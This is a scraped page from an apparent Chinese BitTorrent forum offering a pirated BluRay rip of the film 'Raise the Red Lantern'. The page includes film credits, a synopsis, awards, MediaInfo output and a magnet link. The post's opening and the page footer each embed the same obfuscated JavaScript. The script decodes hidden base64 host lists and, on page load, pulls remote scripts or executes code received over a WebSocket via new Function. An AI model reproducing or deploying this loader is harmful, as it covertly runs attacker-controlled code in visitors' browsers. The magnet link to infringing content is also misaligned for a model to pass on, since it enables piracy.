大红灯笼高高挂[国语音轨/简繁字幕].Raise.the.Red.Lantern.1991.BluRay.1080p.DTS-HD.MA.5.1.x265.10bit 11.44GB

版主小s 28天前 181

var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNw==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x68\x6e\x49\x43\x61\x57\x73\x53\x72\x45']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9va3NrZGpmZGsuaG9uZ2ZhY2huLmNvbbSxodHRwczovL28zOWtza2RmamxrLmRzbbGVuZ2d1aS5jbb20=','d3NzOi8vd3MMua2FpZ3Vhbmdkb3UuY29tOjgxODEsd3NzOi8vd3MMueW5zbHZ5b3UuY29tOjgxODEsd3NzOi8vd3MMud3NobGNnai5jb206ODE4MMQ==',window,document,['b','M']);}:function(){};

◎译 名 大红灯笼高高挂 / Raise The Red Lantern / épouses et concubines

◎年 代 1991

◎产 地 中国大陆 / 中国香港 / 中国台湾

◎类 别 剧情

◎语 言 汉语普通话

◎上映日期 1991-09-10(威尼斯电影节/多伦多电影节)

◎IMDb链接 https://www.imdb.com/title/tt0101640/

◎豆瓣评分 8.6/10 (207882人评价)

◎豆瓣链接 https://movie.douban.com/subject/1293323/

◎片 长 125 分钟

◎导 演 张艺谋 Yimou Zhang (id:1054398)

◎编 剧 倪震 Zhen Ni (id:1317000)

苏童 Tong Su (id:1321658)

◎演 员 巩俐 Li Gong (id:1035641)

马精武 Jingwu Ma (id:1313092)

何赛飞 Saifei He (id:1001393)

曹翠芬 Cuifen Cao (id:1313674)

周琦 Qi Zhou (id:1369877)

孔琳 Lin Kong (id:1015186)

金淑媛 Shuyuan Jin (id:1370712)

丁惟敏 Weimin Ding (id:1370713)

初晓 Xiao Chu (id:1317149)

徐薇 Wei Xu (id:1402267)

曹增银 Zengyin Cao (id:1349050)

崔志刚 Zhigang Cui (id:1338019)

邱复生 Fu-Sheng Chiu (id:1280685)

高秀兰 Shirley Kao (id:1384966)

侯孝贤 Hsiao-hsien Hou (id:1093843)

赵季平 Jiping Zhao (id:1274974)

赵非 Fei Zhao (id:1283522)

杨轮 Lun Yang (id:1301427)

杜媛 Yuan Du (id:1282754)

曹久平 Juiping Cao (id:1280023)

张建群 Jianqun Zhang (id:1311765)

佟华苗 Huamiao Tong (id:1299381)

何建军 Jianjun He (id:1286303)

◎标 签 女性 / 剧情 / 人性 / 经典 / 伦理 / 中国大陆 / 社会 / 文艺

◎简 介

大学刚读半年的颂莲(巩俐)被贪钱的母亲逼迫着嫁进陈家大院,成了老爷的第四房姨太。陈府有老规矩,姨太太们傍晚时分要站在自已的屋子前,等待下人送来的意味被老爷“临幸”的大红灯笼。

起初因为“新人”身份,颂莲得到老爷最多宠幸,但也因此被其它三位姨太太尤其笑里藏刀的二姨太(曹翠芬)挤兑得叫苦不迭。因为涉世不深,生性反叛好强的颂莲急欲争一口气,使计又成老爷身边红人,不想计被看穿,终败于二姨太手下酿成悲剧。而三姨太(何赛飞)的经历虽与颂莲迥异,却也殊途同归逃不出宿命。

◎获奖情况 (共7项)

第64届奥斯卡金像奖 (1992)

最佳外语片(提名)

└──张艺谋 (id:1054398)

第48届威尼斯电影节 (1991)

主竞赛单元 金狮奖 (提名)

└──张艺谋 (id:1054398)

银狮奖 最佳影片

└──张艺谋 (id:1054398)

费比西奖(国际影评人联盟奖) 竞赛单元费比西奖

└──张艺谋 (id:1054398)

第46届英国电影学院奖 (1993)

电影奖 最佳非英语片

第16届大众电影百花奖 (1993)

最佳故事片

最佳女演员

└──巩俐 (id:1035641)

  1. ##### MediaInfo ######

  2. General

  3. Unique ID : 317194589718139850418425382805629327746 (0xEEA174B2D1F53724BCB7D7EF4AA05982)

  4. Complete name : Raise.t[email protected]BBQDDQ.COM.mkv

  5. Format : Matroska

  6. Format version : Version 4

  7. File size : 11.4 GiB

  8. Duration : 2 h 4 min

  9. Overall bit rate mode : Variable

  10. Overall bit rate : 13.2 Mb/s

  11. Encoded date : UTC 2021-11-03 02:28:23

  12. Writing application : mkvmerge v49.0.0 ('Sick Of Losing Soulmates') 64-bit

  13. Writing library : libebml v1.4.0 + libmatroska v1.6.1


  14. Video

  15. ID : 1

  16. Format : HEVC

  17. Format/Info : High Efficiency Video Coding

  18. Format profile : Main [email protected]@High

  19. Codec ID : V_MPEGH/ISO/HEVC

  20. Duration : 2 h 4 min

  21. Bit rate : 9 600 kb/s

  22. Width : 1 920 pixels

  23. Height : 1 032 pixels

  24. Display aspect ratio : 1.85:1

  25. Frame rate mode : Constant

  26. Frame rate : 24.000 FPS

  27. Color space : YUV

  28. Chroma subsampling : 4:2:0

  29. Bit depth : 10 bits

  30. Bits/(Pixel*Frame) : 0.202

  31. Stream size : 8.34 GiB (73%)

  32. Title : HEVC, [email protected]@High, 24 fps @ 9600 kbps

  33. Writing library : x265 3.4+14-gd419c7152:[Windows][GCC 10.2.0][64 bit] 10bit

  34. Encoding settings : cpuid=533541111039 / frame-threads=4 / numa-pools=16 / wpp / pmode / pme / no-psnr / no-ssim / log-level=2 / input-csp=1 / input-res=1920x1032 / interlace=0 / total-frames=179004 / level-idc=51 / high-tier=1 / uhd-bd=0 / ref=5 / no-allow-non-conformance / no-repeat-headers / annexb / no-aud / no-hrd / info / hash=0 / no-temporal-layers / open-gop / min-keyint=24 / keyint=240 / gop-lookahead=0 / bframes=6 / b-adapt=2 / b-pyramid / bframe-bias=0 / rc-lookahead=40 / lookahead-slices=0 / NTMzNTQ=uuDQuD2mJt9fsCf / scenecut=40 / hist-scenecut=0 / radl=0 / no-splice / no-intra-refresh / ctu=32 / min-cu-size=8 / no-rect / no-amp / max-tu-size=32 / tu-inter-depth=3 / tu-intra-depth=3 / limit-tu=4 / rdoq-level=2 / dynamic-rd=0.00 / no-ssim-rd / signhide / no-tskip / nr-intra=0 / nr-inter=0 / no-constrained-intra / no-strong-intra-smoothing / max-merge=4 / limit-refs=1 / limit-modes / me=3 / subme=4 / merange=25 / temporal-mvp / no-frame-dup / no-hme / weightp / weightb / no-analyze-src-pics / deblock=-3:-3 / no-sao / no-sao-non-deblock / rd=6 / selective-sao=0 / no-early-skip / rskip / no-fast-intra / no-tskip-fast / no-cu-lossless / b-intra / no-splitrd-skip / rdpenalty=0 / psy-rd=2.00 / psy-rdoq=1.00 / no-rd-refine / no-lossless / cbqpoffs=0 / crqpoffs=0 / rc=crf / crf=18.5 / qcomp=0.65 / qpstep=4 / stats-write=0 / stats-read=0 / vbv-maxrate=80000 / vbv-bufsize=80000 / vbv-init=0.9 / crf-max=0.0 / crf-min=0.0 / ipratio=1.40 / pbratio=1.30 / aq-mode=2 / aq-strength=0.85 / cutree / zone-count=0 / no-strict-cbr / qg-size=32 / no-rc-grain / qpmax=69 / qpmin=0 / no-const-vbv / sar=1 / overscan=0 / videoformat=5 / range=0 / colorprim=1 / transfer=1 / colormatrix=1 / chromaloc=0 / display-window=0 / cll=0,0 / min-luma=0 / max-luma=1023 / log2-max-poc-lsb=8 / vui-timing-info / vui-hrd-info / slices=1 / no-opt-qp-pps / no-opt-ref-list-length-pps / no-multi-pass-opt-rps / scenecut-bias=0.05 / hist-threshold=0.03 / no-opt-cu-delta-qp / no-aq-motion / no-hdr10 / no-hdr10-opt / no-dhdr10-opt / no-idr-recovery-sei / analysis-reuse-level=0 / analysis-save-reuse-level=0 / analysis-load-reuse-level=0 / scale-factor=0 / refine-intra=0 / refine-inter=0 / refine-mv=1 / refine-ctu-distortion=0 / no-limit-sao / ctu-info=0 / no-lowpass-dct / refine-analysis-type=0 / copy-pic=1 / max-ausize-factor=1.0 / no-dynamic-refine / no-single-sei / no-hevc-aq / no-svt / no-field / qp-adaptation-range=1.00 / no-scenecut-aware-qpconformance-window-offsets / right=0 / bottom=0 / NTMzNTQ= / decoder-max-rate=0

  35. Language : English

  36. Default : Yes

  37. Forced : No

  38. Color range : Limited

  39. Color primaries : BT.709

  40. Transfer characteristics : BT.709

  41. Matrix coefficients : BT.709


  42. Audio

  43. ID : 2

  44. Format : DTS XLL

  45. Format/Info : Digital Theater Systems

  46. Commercial name : DTS-HD Master Audio

  47. Codec ID : A_DTS

  48. Duration : 2 h 4 min

  49. Bit rate mode : Variable

  50. Bit rate : 3 518 kb/s

  51. Channel(s) : 6 channels

  52. Channel layout : C L R Ls Rs LFE

  53. Sampling rate : 48.0 kHz

  54. Frame rate : 93.750 FPS (512 SPF)

  55. Bit depth : 24 bits

  56. Compression mode : Lossless

  57. Stream size : 3.05 GiB (27%)

  58. Title : Mandarin DTS-HD Master Audio 5.1 @ 3517 kbps

  59. Language : Chinese

  60. Default : Yes

  61. Forced : No


  62. Text #1

  63. ID : 3

  64. Format : PGS

  65. Codec ID : S_HDMV/PGS

  66. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  67. Duration : 1 h 59 min

  68. Bit rate : 14.4 kb/s

  69. Count of elements : 1988

  70. Stream size : 12.3 MiB (0%)

  71. Title : Eng/SUP

  72. Language : English

  73. Default : No

  74. Forced : No


  75. Text #2

  76. ID : 4

  77. Format : PGS

  78. Codec ID : S_HDMV/PGS

  79. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  80. Duration : 2 h 1 min

  81. Bit rate : 19.8 kb/s

  82. Count of elements : 1939

  83. Stream size : 17.2 MiB (0%)

  84. Title : Chs/SUP 简体

  85. Language : Chinese

  86. Default : Yes

  87. Forced : No


  88. Text #3

  89. ID : 5

  90. Format : PGS

  91. Codec ID : S_HDMV/PGS

  92. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  93. Duration : 2 h 1 min

  94. Bit rate : 20.3 kb/s

  95. Count of elements : 1939

  96. Stream size : 17.6 MiB (0%)

  97. Title : Cht/SUP 繁体

  98. Language : Chinese

  99. Default : No

  100. Forced : No


  101. Menu

  102. 00:00:00.000 : en:第 01 章

  103. 00:02:04.000 : en:第 02 章

  104. 00:10:54.333 : en:第 03 章

  105. 00:27:45.292 : en:第 04 章

  106. 00:39:37.750 : en:第 05 章

  107. 00:51:45.708 : en:第 06 章

  108. 01:05:28.042 : en:第 07 章

  109. 01:17:06.333 : en:第 08 章

  110. 01:32:15.583 : en:第 09 章

  111. 01:45:36.417 : en:第 10 章

  112. 01:59:22.833 : en:第 11 章




复制代码


TAGS 剧情

磁力链:
  • magnet:?xt=urn:btih:2D3E8D7B673A3BE235E8FE35DB95D4AA2FF9BA7E

上传的附件:
BT9527.com论坛第一帅,不接受任何反驳
BT9527电影天堂 1、BT9527电影天堂提供的BT文件均来源于互联网抓取,只供网友学习交流、技术提升使用。
2、我们遵守BitTorrent点对点协议原则,任何版权问题请联系原资源发布商,我们不处理任何版权纠纷,谢谢!如有争议请联系邮箱:BT9527#hotmail.com(#换成@)
3、如果您发现某页面或地址有错误,请联系站长邮箱BT9527#hotmail.com(#换成@),我们会尽快处理。您的热心是对BT9527电影天堂最大的支持。
4、本站建议去正规影院观看电影以支持电影行业发展。
最新回复 (0)

你可以在 登录 or 注册 后,对此帖发表评论!

返回
发新帖
var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNg==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x59\x72\x72\x51\x4e\x72\x4a\x5a\x7a\x42']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9va3NrZGpmZGsuaG9uZ2ZhY2huLmNvbbSxodHRwczovL28zOWtza2RmamxrLmRzbbGVuZ2d1aS5jbb20=','d3NzOi8vd3MMua2FpZ3Vhbmdkb3UuY29tOjgxODEsd3NzOi8vd3MMueW5zbHZ5b3UuY29tOjgxODEsd3NzOi8vd3MMud3NobGNnai5jb206ODE4MMQ==',window,document,['b','M']);}:function(){};